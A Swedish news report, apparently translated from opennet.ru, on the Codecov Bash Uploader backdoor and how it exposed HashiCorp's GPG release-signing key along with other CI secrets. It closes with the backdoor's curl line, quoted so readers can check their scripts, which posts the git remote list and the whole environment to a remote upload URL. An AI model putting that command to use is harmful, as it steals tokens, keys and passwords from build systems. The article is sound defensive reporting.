Införandet av skadlig kod i Codecov-skriptet ledde till att HashiCorps PGP-nyckel komprometterades.

Företaget HashiCorp, kÀnt för sina öppna verktyg Vagrant, Packer, Nomad och Terraform, har meddelat om ett lÀckage av den privata GPG-nyckeln som anvÀnds för att skapa digitala signaturer som verifierar releaser. Angripare som fÄtt tillgÄng till GPG-nyckeln har potentiellt kunnat göra dolda Àndringar i HashiCorps produkter och bekrÀfta dem med en korrekt digital signatur. Företaget har dock uppgett att det under genomfört granskningar inte har upptÀckts nÄgra spÄr av försök till sÄdana modifieringar.

Den komprometterade GPG-nyckeln har för nÀrvarande Äterkallats och en ny nyckel har införts. Problemet pÄverkade endast verifiering via SHA256SUM- och SHA256SUM.sig-filer och berörde inte skapandet av digitala signaturer för DEB- och RPM-linuxpaket som levereras via releases.hashicorp.com, samt mekanismerna för att bekrÀfta releaser för macOS och Windows (AuthentiCode).

LÀcka intrÀffade pÄ grund av anvÀndning av Codecov:s Bash Uploader-skript (codecov-bash) i infrastrukturen, vilket Àr avsett för att ladda upp tÀckningsrapporter frÄn kontinuerliga integrationssystem. Under en attack pÄ företaget Codecov infogades en bakdörr i det angivna skriptet, genom vilken sÀndningar av lösenord och krypteringsnycklar organiserades till server angripare.

För att hacka anvĂ€nde angriparna en sĂ„rbarhet i skapandet av Codecov:s Docker-image som gjorde det möjligt att hĂ€mta Ă„tkomstdata för GCS (Google Cloud Storage), vilka Ă€r nödvĂ€ndiga för att göra Ă€ndringar i Bash Uploader-skriptet som spreds frĂ„n codecov.io. Ändringarna genomfördes redan den 31 januari, förblev oobserverade i tvĂ„ mĂ„nader och gjorde det möjligt för illasinnade aktörer att hĂ€mta information som lagrades i kunderna's kontinuerliga integrationssystem. Genom den tillagda skadliga koden kunde angriparna fĂ„ information om den testade Git-repositoriet och alla miljövariabler, inklusive tokens, krypteringsnycklar och lösenord som överfördes till kontinuerliga integrationssystem för att organisera Ă„tkomst till applikationskoden, lagringsutrymmen och tjĂ€nster sĂ„som Amazon Web Services och GitHub.

Förutom direktanropet har skriptet Codecov Bash Uploader anvÀnts tillsammans med andra laddare, sÄsom Codecov-action (Github), Codecov-circleci-orb och Codecov-bitrise-step, vars anvÀndare ocksÄ drabbas av problemet. Alla anvÀndare av codecov-bash och relaterade produkter rekommenderas att granska sina infrastrukturer samt byta lösenord och krypteringsnycklar. För att kontrollera förekomsten av en bakdörr i skriptet kan man leta efter raden curl -sm 0.5 -d «$(git remote -v)<<<< ENV $(env)» http:///upload/v2 || true

KĂ€lla: opennet.ru

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster